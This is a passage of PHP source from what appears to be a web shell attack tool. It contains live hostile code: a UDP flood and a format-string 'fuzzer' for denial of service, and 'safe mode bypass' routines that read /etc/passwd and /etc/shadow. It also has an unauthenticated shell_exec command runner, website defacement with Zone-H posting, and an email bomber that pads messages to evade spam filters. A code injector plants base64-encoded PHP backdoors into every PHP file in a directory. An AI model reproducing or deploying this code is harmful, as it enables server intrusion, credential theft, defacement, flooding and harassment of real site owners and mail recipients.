4186 $executionTime = $_GET['exTime'];
4187 $no0fBytes = $_GET['no0fBytes'];
4188 $data = "";
4189 $timeout = $_GET['timeout'];
4190 $packets = 0;
4191 $counter = $no0fBytes;
4192 $maxTime = time() + $executionTime;;
4193 while($counter--)
4194 {
4195 $data .= "X";
4196 }
4197 $data .= " Dhanush";
4198
4199 while(1)
4200 {
4201 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
4202 if($socket)
4203 {
4204 fwrite($socket , $data);
4205 fclose($socket);
4206 $packets++;
4207 }
4208 if(time() >= $maxTime)
4209 {
4210 break;
4211 }
4212 }
4213 echo "Dos Completed!<br>";
4214 echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
4215 echo "Total Number of Packets Sent : " . $packets . "<br />";
4216 echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
4217 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
4218 }
4219}
4220else if(isset($_GET['fuzzer']))
4221{
4222 if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
4223 {
4224 $IP=$_GET['ip'];
4225 $port=$_GET['port'];
4226 $times = $_GET['exTime'];
4227 $timeout = $_GET['timeout'];
4228 $send = 0;
4229 $ending = "";
4230 $multiplier = $_GET['multiplier'];
4231 $data = "";
4232 $mode="tcp";
4233 $data .= "GET /";
4234 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
4235 if($_GET['type'] == "tcp")
4236 {
4237 $mode = "tcp";
4238 }
4239
4240 while($multiplier--)
4241
4242 {
4243 $data .= urlencode($_GET['no0fBytes']);
4244 }
4245 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
4246 $data .= "by-Dhanush".$ending;
4247 $length = strlen($data);
4248
4249
4250 echo "Sending Data :- <br /> <p align='center'>$data</p>";
4251
4252 for($i=0;$i<$times;$i++)
4253 {
4254 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
4255 if($socket)
4256 {
4257 fwrite($socket , $data , $length );
4258 fclose($socket);
4259 }
4260 }
4261 echo "Fuzzing Completed!<br>";
4262 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
4263 echo "Total Number of Packets Sent : " . $times . "<br />";
4264 echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
4265 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
4266 }
4267}
4268else if(isset($_GET['bypassit']))
4269{
4270 echo "<BR>";
4271 if(isset($_GET['copy']))
4272 {
4273 if(@copy($_GET['copy'],"test1.php"))
4274 {
4275 $fh=fopen("test1.php",'r');
4276 echo "<textarea cols=100 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea>";
4277 @fclose($fh);
4278 unlink("test1.php");
4279 }
4280 }
4281 else if(isset($_GET['filecontents']))
4282 {
4283 echo "<textarea cols=100 rows=20 class=box readonly>";
4284 echo file_get_contents($_GET['filecontents']);
4285 echo "</textarea>";
4286 }
4287 else if(isset($_GET['stream']))
4288 {
4289 echo "<textarea cols=100 rows=20 class=box readonly>";
4290 $file=$_GET['stream'];
4291 if ($stream = fopen($file, 'r')) {
4292 echo stream_get_contents($stream, -1, 0);
4293 fclose($stream);
4294 }
4295
4296 echo "</textarea>";
4297 }
4298 else if(isset($_GET['curl']))
4299 {
4300 $ch=curl_init("file://" . $_GET[curl]);
4301 curl_setopt($ch,CURLOPT_HEADERS,0);
4302 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
4303 $file_out=curl_exec($ch);
4304 curl_close($ch);
4305 echo "<textarea cols=100 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea>";
4306 }
4307 else if(isset($_GET['include']))
4308 {
4309 if(file_exists($_GET['include']))
4310 {
4311 echo "<textarea cols=100 rows=20 class=box readonly>";
4312 @include($_GET['include']);
4313 echo "</textarea>";
4314 }
4315 else
4316 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
4317 }
4318 else if(isset($_GET['id']))
4319 {
4320 echo "<textarea cols=100 rows=20 class=box readonly>";
4321 for($uid=0;$uid<60000;$uid++)
4322 {
4323 $ara = posix_getpwuid($uid);
4324 if (!empty($ara))
4325 {
4326 while (list ($key, $val) = each($ara))
4327 {
4328 print "$val:";
4329 }
4330 print "\n";
4331 }
4332 }
4333 echo "</textarea>";
4334 }
4335 else if(isset($_GET['tempnam']))
4336 {
4337 echo "<textarea cols=100 rows=20 class=box readonly>";
4338 $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
4339 $fp = fopen ( $mytmp, 'r' );
4340 while(!feof($fp))
4341 echo fgets($fp);
4342 fclose ( $fp );
4343 echo "</textarea>";
4344 }
4345 else if(isset($_GET['symlnk']))
4346 {
4347 echo "<textarea cols=100 rows=20 class=box readonly>";
4348 @mkdir("mydhanush",0777);
4349 @chdir("mydhanush");
4350 execmd("ln -s /etc/passwd");
4351
4352 echo file_get_contents($curr_url . "/mydhanush/passwd");
4353 echo "</textarea>";
4354 }
4355 if(isset($_GET['newtype']))
4356 {
4357 $filename = $_GET['newtype'];
4358 echo "<textarea cols=100 rows=20 class=box readonly>";
4359 if($_GET['optiontype'] == "xxd")
4360 echo execmd("xxd ".$filename);
4361 else if($_GET['optiontype'] == "rev")
4362 echo execmd("rev ".$filename);
4363 if($_GET['optiontype'] == "tac")
4364 echo execmd("tac ".$filename);
4365 if($_GET['optiontype'] == "more")
4366 echo execmd("more ".$filename);
4367 if($_GET['optiontype'] == "less")
4368 echo execmd("less ".$filename);
4369 if($_GET['optiontype'] == "awk")
4370 echo execmd("awk '{ print }' ".$filename);
4371 echo "</textarea>";
4372 }
4373 echo '<BR><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 2px;" /><BR><BR><BR>';
4374}
4375// Deface Website
4376else if(isset($_GET['deface']))
4377{
4378 $myfile = fopen($_GET['deface'],'w');
4379 if(fwrite($myfile, base64_decode($ind)))
4380 {fclose($myfile);
4381 echo "Index Defaced Successfully";}
4382 else
4383 echo "Donot have write permission";
4384}
4385else if(isset($_GET['perms']))
4386{
4387?><br>
4388 <form>
4389 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
4390 <table align="center" border="1" style="width:40%;border-color:#333333;border-collapse:collapse;">
4391 <tr>
4392 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
4393 </tr>
4394 <tr>
4395 <td colspan="2" align="center" style="height:60px">
4396 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" />
4397 <input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" />
4398 </td>
4399 </tr>
4400 </table>
4401
4402 </form>
4403 <?php
4404}
4405else if(isset($_GET["chmode"]))
4406{
4407 if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
4408 {
4409 echo '<br>';
4410 $perms = 0;
4411 for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
4412 $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
4413 if(@chmod($_GET['myfilename'],$perms))
4414 echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
4415 else
4416 echo "<center><blink>Cannot Change File Permissions</blink></center>";
4417 echo '<BR><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" /><BR><BR>';
4418 }
4419}
4420else if(isset($_GET['rename']))
4421{
4422?><BR>
4423 <form>
4424 <table border="0" cellpadding="7" cellspacing="3">
4425 <tr>
4426 <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
4427 </tr>
4428 <tr>
4429 <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
4430 </tr>
4431 <tr>
4432 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
4433 <input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" />
4434 </td>
4435 </tr>
4436 </table>
4437 </form>
4438 <?php
4439
4440}
4441else if(isset($_GET['renamemyfile']))
4442{
4443 if(isset($_GET['to']) && isset($_GET['file']))
4444 {
4445 echo '<br>';
4446 if(!rename($_GET['file'], $_GET['to']))
4447 echo "Cannot Rename File";
4448 else
4449 echo "<font class=txt>File Renamed Successfully</font>";
4450 echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" /><BR><BR>';
4451 }
4452}
4453else if(isset($_GET['open']))
4454{
4455 if(is_file($_GET['myfilepath']))
4456 {
4457 $owner = "0/0";
4458 if($os == "Linux")
4459 $owner = getOGid($_GET['myfilepath']);
4460 ?>
4461 <form>
4462 <table style="width:57%;">
4463 <tr align="left">
4464 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
4465 </tr>
4466 <tr>
4467 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
4468 </tr>
4469 </table>
4470 <textarea name="content" rows="15" cols="100" class="box"><?php
4471 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
4472 if($content)
4473 {
4474 echo $content;
4475 }
4476 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
4477 {
4478 if(filesize($_GET['myfilepath']) != 0 )
4479 {
4480 fopen($_GET['myfilepath']);
4481 while(!feof())
4482 {
4483 echo htmlspecialchars(fgets($_GET['myfilepath']));
4484 }
4485 }
4486 }
4487
4488 ?>
4489 </textarea><br />
4490 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
4491 <input name="save" type="button" onClick="cancel()" value="Cancel" id="spacing" class="but"/>
4492 </form>
4493 <?php
4494 }
4495 else
4496 echo '<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR>File does not exist !!!!<BR>';
4497}
4498else if(isset($_POST['file']) && isset($_POST['content']))
4499{
4500 echo '<BR>';
4501 if(file_exists($_POST['file']))
4502 {
4503 $handle = fopen($_POST['file'],"w");
4504 if(fwrite($handle,$_POST['content']))
4505 echo "<font class=txt>File Saved Successfully!</font>";
4506 else
4507 echo "Cannot Write into File";
4508 }
4509 else
4510 {
4511 echo "File Name Specified does not exists!";
4512 }
4513 echo '<BR><input type="button" onClick="cancel()" value=" OK " class="but" /><BR><BR>';
4514}
4515else if(isset($_POST["SendNowToZoneH"]))
4516{
4517 $hacker = $_POST['defacer'];
4518 $method = $_POST['hackmode'];
4519 $neden = $_POST['reason'];
4520 $site = $_POST['domain'];
4521
4522 if (empty($hacker))
4523 {
4524 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
4525 }
4526 elseif($method == "--------SELECT--------")
4527 {
4528 die("<center><font size=3>[-] You Must Select The Method !</center>");
4529 }
4530 elseif($neden == "--------SELECT--------")
4531 {
4532 die("<center><font size=3>[-] You Must Select The Reason</center>");
4533 }
4534 elseif(empty($site))
4535 {
4536 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
4537 }
4538 // Zone-h Poster
4539 function ZoneH($url, $hacker, $hackmode,$reson, $site )
4540 {
4541 $k = curl_init();
4542 curl_setopt($k, CURLOPT_URL, $url);
4543 curl_setopt($k,CURLOPT_POST,true);
4544 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
4545 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
4546 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
4547 $kubra = curl_exec($k);
4548 curl_close($k);
4549 return $kubra;
4550 }
4551
4552 $i = 0;
4553 $sites = explode("\n", $site);
4554 echo "<pre class=ml1 style='margin-top:5px'>";
4555 while($i < count($sites))
4556 {
4557 if(substr($sites[$i], 0, 4) != "http")
4558 {
4559 $sites[$i] = "http://".$sites[$i];
4560 }
4561 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
4562 echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
4563 ++$i;
4564 }
4565
4566 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
4567}
4568else if(isset($_GET['executemycmd']))
4569{
4570 $comm = $_GET['executemycmd'];
4571 chdir($_GET['executepath']);
4572 echo shell_exec($comm);
4573}
4574// View Passwd file
4575else if(isset($_GET['passwd']))
4576{
4577 $test='';
4578 $tempp= tempnam($test, "cx");
4579 $get = "/etc/passwd";
4580 $name=@posix_getpwuid(@fileowner($get));
4581 $group=@posix_getgrgid(@filegroup($get));
4582 $owner = $name['name']. " / ". $group['name'];
4583 ?>
4584 <table style="width:57%;">
4585 <tr>
4586 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
4587 </tr>
4588 <tr>
4589 <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
4590 </tr>
4591 </table>
4592 <?php
4593 if(copy("compress.zlib://".$get, $tempp))
4594 {
4595 $fopenzo = fopen($tempp, "r");
4596 $freadz = fread($fopenzo, filesize($tempp));
4597 fclose($fopenzo);
4598 $source = htmlspecialchars($freadz);
4599 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
4600 unlink($tempp);
4601 }
4602 else
4603 {
4604 ?>
4605 <form>
4606 <input type="hidden" name="etcpasswd">
4607 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
4608 <tr>
4609 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
4610 </tr>
4611 <tr>
4612 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
4613 </tr>
4614 <tr>
4615 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
4616 </tr>
4617 </table><br>
4618 </form>
4619 <?php
4620 }
4621 ?>
4622 <br />
4623 <input type="button" onClick="cancel()" value=" OK " class="but" /><BR><BR>
4624 <?php
4625}
4626else if(isset($_GET['shadow']))
4627{
4628 $test='';
4629 $tempp= tempnam($test, "cx");
4630 $get = "/etc/shadow";
4631 if(copy("compress.zlib://".$get, $tempp))
4632 {
4633 $fopenzo = fopen($tempp, "r");
4634 $freadz = fread($fopenzo, filesize($tempp));
4635 fclose($fopenzo);
4636 $source = htmlspecialchars($freadz);
4637 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
4638 unlink($tempp);
4639 }
4640}
4641else if(isset($_GET['bomb']))
4642{
4643 ?><div id="showmail"></div>
4644 <form>
4645 <table id="margins" style="width:100%;">
4646 <tr>
4647 <td style="width:30%;">To</td>
4648 <td>
4649 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
4650 </td>
4651 </tr>
4652 <tr>
4653
4654 <td style="width:30%;">Subject</td>
4655 <td>
4656 <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
4657 </td>
4658 </tr>
4659 <tr>
4660 <td style="width:30%;">No. of Times</td>
4661 <td>
4662 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
4663 </td>
4664 </tr>
4665 <tr>
4666 <td style="width:30%;">Pad your message (Less spam detection)</td>
4667 <td><input type="checkbox" name="padding"/></td>
4668 </tr>
4669 <tr>
4670 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
4671 </tr>
4672 <tr>
4673 <td rowspan="2">
4674 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
4675 </td>
4676 </tr>
4677 </table>
4678 </form>
4679 <?php
4680}
4681
4682//Mass Mailer
4683else if(isset($_GET['mail']))
4684{
4685 ?><div id="showmail"></div>
4686 <div align="left">
4687 <form>
4688 <table align="left" style="width:100%;">
4689 <tr>
4690 <td style="width:10%;">From</td>
4691 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'Hello@abcd.in')this.value = '';" onBlur="if(this.value=='')this.value='Hello@abcd.in';"/></td>
4692 </tr>
4693
4694 <tr>
4695 <td style="width:20%;">To</td>
4696 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
4697 </tr>
4698
4699 <tr>
4700 <td style="width:20%;">Subject</td>
4701 <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
4702 </tr>
4703
4704
4705 <tr>
4706 <td colspan="2">
4707 <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!! Patch your site.....</textarea>
4708 </td>
4709 </tr>
4710
4711
4712 <tr>
4713 <td rowspan="2">
4714 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
4715 </td>
4716 </tr>
4717 </table>
4718 </form></div>
4719 <?php
4720}
4721// Get Domains
4722else if(isset($_REQUEST["symlinkserver"]))
4723{
4724 ?>
4725 <center><table><tr>
4726 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
4727 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
4728 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
4729 </tr></table></center><br>
4730 <div id="showdata"></div><?php
4731}
4732// Forum Manager
4733else if(isset($_REQUEST["forum"]))
4734{ ?>
4735 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
4736 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
4737 <td><a href=# onClick="getdata('massdeface')"><font class=txt size="4">| Mass Defacer |</font></a></td>
4738 </tr></table></center><br><div id="showdata"></div>
4739 <?php
4740}
4741// Sec info
4742else if(isset($_GET['secinfo']))
4743{ ?><div id=showdata></div>
4744<center><div id="showmydata"></div>
4745</center>
4746<br><center><font size=5>Server security information</font><br><br></center>
4747 <table class="btmtbl" style="width:100%;" border="1">
4748 <tr>
4749 <td style="width:7%;">Curl</td>
4750 <td style="width:7%;">Oracle</td>
4751 <td style="width:7%;">MySQL</td>
4752 <td style="width:7%;">MSSQL</td>
4753 <td style="width:7%;">PostgreSQL</td>
4754 <td style="width:12%;">Open Base Directory</td>
4755 <td style="width:10%;">Safe_Exec_Dir</td>
4756 <td style="width:7%;">PHP Version</td>
4757 <td style="width:7%;">Magic Quotes</td>
4758 <td style="width:7%;">Server Admin</td>
4759 </tr>
4760 <tr>
4761 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
4762 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
4763 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
4764 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
4765 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
4766 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
4767 <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font class='txt'>$df</font></b>";};} ?></font></td>
4768 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
4769 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
4770 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
4771 </tr>
4772</table><br> <?php
4773 mysecinfo();
4774}
4775// Code Injector
4776
4777else if(isset($_GET['injector']))
4778{
4779 if($os != "Windows")
4780 $injectcode = "PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+";
4781 else
4782 {
4783 $injectcode = "PD9waHAgJHBhc3N3cmQgPSA8PDxFT0QKNjJhYTZhOWE1ZGEwMDAxNDI4MGZlODU2YzI3MzhiMDYKRU9EOwokZGhwYXNzd2QgPSA8PDxFT0QKZGhwYXNzd2QKRU9EOwokdXBsb2FkZWQgPSA8PDxFT0QKdXBsb2FkZWQKRU9EOwokbmFtZSA9IDw8PEVPRApuYW1lCkVPRDsKJHRtcF9uYW1lID0gPDw8RU9ECnRtcF9uYW1lCkVPRDsKaWYgKGlzc2V0ICgkX0dFVFskZGhwYXNzd2RdKSBhbmQgbWQ1KCRfR0VUWyRkaHBhc3N3ZF0pPT0kcGFzc3dyZCkKez8+PGZvcm0gZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhIG1ldGhvZD1QT1NUIGFjdGlvbj0+dXBsb2FkOiA8aW5wdXQgbmFtZT11cGxvYWRlZCB0eXBlPWZpbGUgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPgo8P3BocCAKaWYoaXNzZXQoJF9GSUxFU1skdXBsb2FkZWRdWyRuYW1lXSkpCnsKJHVwbG9hZGVkID0gPDw8RU9ECnVwbG9hZGVkCkVPRDsKJHRhcmdldF9wYXRoID0gPDw8RU9ECi4vCkVPRDsKJHRhcmdldF9wYXRoID0gJHRhcmdldF9wYXRoIC4gYmFzZW5hbWUoICRfRklMRVNbJHVwbG9hZGVkXVskbmFtZV0pOwppZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1skdXBsb2FkZWRdWyR0bXBfbmFtZV0sICR0YXJnZXRfcGF0aCkpIHtlY2hvICR1cGxvYWRlZDt9fX0KPz4=";
4784 }
4785 ?>
4786 <form method='POST'>
4787 <table id="margins">
4788 <tr>
4789 <td width="100" class="title">
4790 Directory
4791 </td>
4792 <td>
4793 <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
4794 </td>
4795
4796 </tr>
4797 <tr>
4798 <td class="title">
4799 Mode
4800 </td>
4801 <td>
4802 <select style="width: 400px;" name="mode" class="box">
4803 <option value="Apender">Apender</option>
4804 <option value="Overwriter">Overwriter</option>
4805 </select>
4806 </td>
4807 </tr>
4808 <tr>
4809 <td class="title">
4810 File Type
4811 </td>
4812 <td>
4813 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
4814 </td>
4815 </tr>
4816 <tr>
4817 <td>Create A backdoor by injecting this code in every php file of current directory</td>
4818 </tr>
4819
4820 <tr>
4821 <td colspan="2"><?php if($os == "Windows")echo "<i>Default Password is : <b>Dhanush</b> (change to yours using MD5)</i> Example : .php?dhpasswd=Dhanush"; ?><BR>
4822 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode($injectcode); ?></textarea>
4823 </td>
4824 </tr>
4825 <tr>
4826 <td rowspan="2">
4827 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
4828 </td>
4829 </tr>
4830 </form>
4831 </table><div id="showinject"</div>
4832 <?php
4833}
4834// Bypass
4835else if(isset($_GET["bypass"]))
4836{
4837 ?><center><div id="showmydata"></div></center>
4838 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;border-collapse:collapse;">
4839 <tr>
4840 <td align="center" colspan="2"><font size="3">Safe mode bypass</font></td>
4841 </tr>
4842 <tr>
4843 <td align="center">
4844 <p>Using copy() function</p>
4845 <form onSubmit="bypassfun('copy',copy.value);return false;">
4846 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
4847 </form>
4848 </td>
4849 <td align="center">
4850 <p>Using File contents function</p>
4851 <form onSubmit="bypassfun('filecontents',filecontents.value);return false;">
4852 <input type="text" name="filecontents" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('filecontents',filecontents.value)" value="bypass" class="but">
4853 </form>
4854 </td>
4855 </tr>
4856
4857 <tr>
4858 <td align="center">
4859 <p>Using Stream contents function</p>
4860 <form onSubmit="bypassfun('stream',stream.value);return false;">
4861 <input type="text" name="stream" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('stream',stream.value)" value="bypass" class="but">
4862 </form>
4863 </td>
4864 <td align="center">
4865 <p>Using Curl() function</p>
4866 <form onSubmit="bypassfun('curl',curl.value);return false;">
4867 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
4868 </form>
4869 </td>
4870 </tr>
4871
4872 <tr>
4873 <td align="center">
4874 <p>Bypass using include()</p>
4875 <form onSubmit="bypassfun('include',include.value);return false;">
4876 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
4877 </form>
4878 </td>
4879 <td align="center">
4880 <p>Using id() function</p>
4881 <form onSubmit="bypassfun('id',id.value);return false;">
4882 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
4883 </form>
4884 </td>
4885 </tr>
4886
4887 <tr>
4888 <td align="center">
4889 <p>Using tempnam() function</p>
4890 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
4891 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
4892 </form>
4893 </td>
4894 <td align="center">
4895 <p>Using symlink() function</p>
4896 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
4897 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
4898 </form>
4899 </td>
4900 </tr>
4901 <tr>
4902 <td colspan=2 align="center">
4903 <p>Using Bypass function</p>
4904 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
4905 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
4906 <select id="optiontype" class=sbox>
4907 <option value="tac">tac</option>
4908 <option value="more">more</option>
4909 <option value="less">less</option>
4910 <option value="rev">rev</option>
4911 <option value="xxd">xxd</option>
4912 <option value="awk">awk</option>
4913 </select>
4914 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
4915 </form>
4916 </td>
4917 </tr>
4918 </table>
4919 </form>
4920 <?php
4921}
4922//fuzzer
4923else if(isset($_GET['fuzz']))
4924{
4925 ?>
4926 <form method="GET">
4927 <table id="margins">
4928 <tr>
4929 <td width="400" class="title">
4930 IP
4931 </td>
4932 <td>
4933 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
4934 </td>
4935 </tr>
4936
4937 <tr>
4938 <td class="title">
4939 Port
4940 </td>
4941 <td>
4942 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
4943 </td>
4944 </tr>
4945
4946 <tr>
4947 <td class="title">
4948 Timeout
4949 </td>
4950 <td>
4951 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
4952 </td>
4953 </tr>
4954
4955
4956 <tr>
4957 <td class="title">
4958 No of times
4959 </td>
4960 <td>
4961 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
4962 </td>
4963 </tr>
4964
4965 <tr>
4966 <td class="title">
4967 Message (The message Should be long and it will be multiplied with the value after it)
4968 </td>
4969 <td>
4970 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
4971 </td>
4972 <td>
4973 x
4974 </td>
4975 <td width="20">
4976 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
4977 </td>
4978 </tr>
4979
4980 <tr>
4981 <td rowspan="2">
